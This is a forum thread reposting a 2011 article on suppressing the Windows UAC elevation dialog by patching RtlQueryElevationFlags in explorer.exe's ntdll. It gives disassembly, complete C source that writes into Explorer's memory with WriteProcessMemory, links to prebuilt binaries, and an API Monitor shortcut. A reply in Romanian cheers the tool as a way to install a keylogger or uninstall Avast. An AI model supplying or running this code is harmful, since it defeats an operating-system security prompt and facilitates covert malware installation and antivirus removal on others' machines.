Jump to content
Nytro

Disable UAC elevation dialog by patching RtlQueryElevationFlags in Windows Explorer

Recommended Posts

Posted

[h=1]Disable UAC elevation dialog by patching RtlQueryElevationFlags in Windows Explorer[/h]Author:

[h=3]rohitab[/h]

This post describes a method to run programs like regedit.exe without displaying the UAC elevation dialog.

When you run a program using Windows Explorer, it calls CreateProcess, which in turn calls CreateProcessInternal. On operating systems with UAC, CreateProcessInternal calls RtlQueryElevationFlags to determine if the UAC elevation dialog should be displayed.

Here is a screenshot from API Monitor showing the callstack for RtlQueryElevationFlags

post-621-0-67317000-1323289950.png

RtlQueryElevationFlags returns flags indicating the state of UAC. The following flags are supported:

#define ELEVATION_UAC_ENABLED                    0x01
#define ELEVATION_VIRTUALIZATION_ENABLED 0x02
#define ELEVATION_INSTALLER_DETECTION_ENABLED 0x04

See UnDoc'd for documentation on this undocumented API.

Here is a disassembly of RtlQueryElevationFlags on Windows 7 x64

RtlQueryElevationFlags:
000000007700B850 C7 01 00 00 00 00 mov dword ptr [rcx], 0
000000007700B856 F6 04 25 F0 02 FE 7F 02 test byte ptr [7FFE02F0h],2
000000007700B85E 74 06 je RtlQueryElevationFlags+16h (7700B866h)
000000007700B860 C7 01 01 00 00 00 mov dword ptr [rcx],1 ; ELEVATION_UAC_ENABLED
000000007700B866 F6 04 25 F0 02 FE 7F 04 test byte ptr [7FFE02F0h],4
000000007700B86E 74 03 je RtlQueryElevationFlags+23h (7700B873h)
000000007700B870 83 09 02 or dword ptr [rcx],2 ; ELEVATION_VIRTUALIZATION_ENABLED
000000007700B873 F6 04 25 F0 02 FE 7F 08 test byte ptr [7FFE02F0h],8
000000007700B87B 74 03 je RtlQueryElevationFlags+30h (7700B880h)
000000007700B87D 83 09 04 or dword ptr [rcx],4 ; ELEVATION_INSTALLER_DETECTION_ENABLED
000000007700B880 33 C0 xor eax,eax
000000007700B882 C3 ret

The API reads the value at 7FFE02F0h and sets flags indicating UAC state. In order to disable the UAC elevation dialog, the API needs to be modified so that it does not set any flags. There are multiple ways to do it such as re-routing the API using hotpatching, injecting a DLL, modifying the memory location 7FFE02F0h etc. Since we only need to modify a couple of values, its easier to just patch the API in place.

The sample code shown below opens Windows Explorer (explorer.exe), and patches RtlQueryElevationFlags in ntdll.dll. Once patched, the API always returns 0 for the flags regardless of the UAC state. Any processes that are executed after this, will run without displaying the UAC elevation dialog. The code, if run again, will unpatch the API to its original state and restore UAC elevation check. Binaries for both 32-bit and 64-bit are attached to this post.

// UAC Elevation Enable/Disable
// Copyright © 2011, Rohitab Batra
// All rights reserved.

#include <tchar.h>
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>

// Bytes to patch and offsets for comparison
#ifdef _WIN64
#define PATCH_BYTE_1 18
#define PATCH_BYTE_2 34
#define PATCH_BYTE_3 47
#define COMPARE_OFFSET_1 9
#define COMPARE_OFFSET_2 25
#define COMPARE_OFFSET_3 38
#define PATCH_SIZE (PATCH_BYTE_3 - PATCH_BYTE_1 + 1)
#define BUFFER_SIZE 48
#else
#define PATCH_BYTE_1 22
#define PATCH_BYTE_2 37
#define PATCH_BYTE_3 49
#define COMPARE_OFFSET_1 13
#define COMPARE_OFFSET_2 28
#define COMPARE_OFFSET_3 40
#define PATCH_SIZE (PATCH_BYTE_3 - PATCH_BYTE_1 + 1)
#define BUFFER_SIZE 52
#endif

DWORD GetExplorerProcessId()
{
DWORD dwProcessId = 0;
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;

// Create snapshot of running processes
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hProcessSnap == INVALID_HANDLE_VALUE)
{
return 0;
}

// Iterate through the list to find explorer.exe
pe32.dwSize = sizeof(PROCESSENTRY32);
if(Process32First(hProcessSnap, &pe32))
{
do
{
if(!_tcsicmp(pe32.szExeFile, _T("explorer.exe")))
{
dwProcessId = pe32.th32ProcessID;
break;
}
}
while(Process32Next(hProcessSnap, &pe32));
}

CloseHandle(hProcessSnap);

return dwProcessId;
}

HMODULE GetNtDllModuleHandle(IN DWORD dwProcessId)
{
HMODULE hModule = NULL;
MODULEENTRY32W me32;

// Create a snapshot of modules in the process
HANDLE hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessId);
if(hModuleSnap == INVALID_HANDLE_VALUE)
{
_tprintf(_T("ERROR: Failed to retrieve module list.\n\tMake sure you run the 64-bit version on a 64-bit OS.\n"));
return FALSE;
}

// Iterate through the list to find ntdll.dll
me32.dwSize = sizeof(me32);
if(Module32First(hModuleSnap, &me32))
{
do
{
if(!_tcsicmp(me32.szModule, _T("ntdll.dll")))
{
hModule = me32.hModule;
break;
}
}
while(Module32Next(hModuleSnap, &me32));
}
CloseHandle(hModuleSnap);

return hModule;
}

UINT_PTR GetRtlQueryElevationFlagsRva()
{
HMODULE hModule = GetModuleHandle(_T("ntdll.dll"));
if(!hModule)
{
return 0;
}

FARPROC fpFunction = GetProcAddress(hModule, "RtlQueryElevationFlags");
if(!fpFunction)
{
_tprintf(_T("ERROR: RtlQueryElevationFlags is only available on Windows Vista and later\n"));
return 0;
}

return (UINT_PTR)fpFunction - (UINT_PTR)hModule;
}

VOID UacElevationDisable(IN DWORD dwProcessId, IN HMODULE hNtDll)
{
// Get the RVA for RtlQueryElevationFlags
UINT_PTR uRtlQueryElevationFlagsRva = GetRtlQueryElevationFlagsRva();
if(!uRtlQueryElevationFlagsRva)
{
return;
}

// Open process with permissions to perform virtual memory operations
HANDLE hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, dwProcessId);
if(!hProcess)
{
_tprintf(_T("ERROR %u: Cannot open process\n"), GetLastError());
return;
}

__try
{
BYTE rgbyBuffer[BUFFER_SIZE];
SIZE_T sizeNumberOfBytesTransfered;
LPVOID lpvApiAddress = (LPVOID)((UINT_PTR)hNtDll + uRtlQueryElevationFlagsRva);

// Read data in from the start of RtlQueryElevationFlags
if(!ReadProcessMemory(hProcess, lpvApiAddress, rgbyBuffer, sizeof(rgbyBuffer), &sizeNumberOfBytesTransfered) ||
sizeNumberOfBytesTransfered != sizeof(rgbyBuffer))
{
_tprintf(_T("ERROR %u: Cannot read memory\n"), GetLastError());
__leave;
}

// Compare data to make sure it matches what we expect
if(*(PUINT64)(rgbyBuffer + COMPARE_OFFSET_1) != 0xC70674027FFE02F0 ||
*(PUINT64)(rgbyBuffer + COMPARE_OFFSET_2) != 0x830374047FFE02F0 ||
*(PUINT64)(rgbyBuffer + COMPARE_OFFSET_3) != 0x830374087FFE02F0)
{
_tprintf(_T("ERROR: Data Mismatch. Cannot Patch API\n"), GetLastError());
__leave;
}

// Check the current state
if(rgbyBuffer[PATCH_BYTE_1] == 0x01 && rgbyBuffer[PATCH_BYTE_2] == 0x02 && rgbyBuffer[PATCH_BYTE_3] == 0x04)
{
_tprintf(_T("UAC Elevation Check is ON. Turning OFF\n"));
}
else if(rgbyBuffer[PATCH_BYTE_1] == 0x00 && rgbyBuffer[PATCH_BYTE_2] == 0x00 && rgbyBuffer[PATCH_BYTE_3] == 0x00)
{
_tprintf(_T("UAC Elevation Check is OFF. Turning ON\n"));
}
else
{
_tprintf(_T("UAC Elevation Check is UNKNOWN\n"));
__leave;
}

// Patch bytes
rgbyBuffer[PATCH_BYTE_1] ^= 0x01;
rgbyBuffer[PATCH_BYTE_2] ^= 0x02;
rgbyBuffer[PATCH_BYTE_3] ^= 0x04;

LPVOID lpvPatchStartAddress = (LPVOID)((UINT_PTR)lpvApiAddress + PATCH_BYTE_1);

// Write patched data back
if(WriteProcessMemory(hProcess, lpvPatchStartAddress, rgbyBuffer + PATCH_BYTE_1, PATCH_SIZE, &sizeNumberOfBytesTransfered) &&
sizeNumberOfBytesTransfered == PATCH_SIZE)
{
__leave;
}

// Failed to write; unprotect the memory and retry
BOOL bSuccess = FALSE;
DWORD dwOldProtect;

if(VirtualProtectEx(hProcess, lpvPatchStartAddress, PATCH_SIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect))
{
// Retry writing patched data
if(WriteProcessMemory(hProcess, lpvPatchStartAddress, rgbyBuffer + PATCH_BYTE_1, PATCH_SIZE, &sizeNumberOfBytesTransfered) &&
sizeNumberOfBytesTransfered == PATCH_SIZE)
{
bSuccess = TRUE;
}
VirtualProtectEx(hProcess, lpvPatchStartAddress, PATCH_SIZE, dwOldProtect, &dwOldProtect);
}

if(!bSuccess)
{
_tprintf(_T("ERROR: Cannot write memory\n"));
}
}
__finally
{
CloseHandle(hProcess);
}
}

int _tmain(int argc, _TCHAR* argv[])
{
_tprintf(_T("UAC Elevation Enable/Disable\n© 2011 Rohitab Batra\nAll rights reserved.\nhttp://www.rohitab.com\n\n"));

__try
{
DWORD dwExplorerProcessId = GetExplorerProcessId();
if(!dwExplorerProcessId)
{
_tprintf(_T("ERROR: Cannot find explorer.exe in the list of running processes\n"));
__leave;
}

HMODULE hExplorerNtDll = GetNtDllModuleHandle(dwExplorerProcessId);
if(!hExplorerNtDll)
{
_tprintf(_T("ERROR: Cannot find ntdll.dll in the explorer.exe\n"));
__leave;
}

UacElevationDisable(dwExplorerProcessId, hExplorerNtDll);
}
__finally
{
}

_tprintf(_T("Press ENTER to exit"));
getchar();

return 0;
}

A quicker way to test this, without using the above code, is through API Monitor. Launch API Monitor, set a post-call breakpoint on RtlQueryElevationFlags and monitor explorer.exe. Now, run a process that requires elevation, such as regedit.exe. API Monitor will display the breakpoint dialog as shown below. This will run regedit.exe without the UAC elevation dialog.

post-621-0-76308400-1323290171.png

Download:

x86: http://www.rohitab.com/discuss/index.php?app=core&module=attach&section=attach&attach_id=3332

x64: http://www.rohitab.com/discuss/index.php?app=core&module=attach&section=attach&attach_id=3333

Sursa: Disable UAC elevation dialog by patching RtlQueryElevationFlags in Windows Explorer - rohitab.com - Forums

Posted (edited)

Chiar functioneaza. Super Tare !!!

Nytro , nota 10!

Foarte util daca vrei sa instalezi ceva ce in mod normal nu ai putea fara UAC dezactivat, exemplu un key logger sau sa ii dezinstalezi avastu :)

Edited by backdoor

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...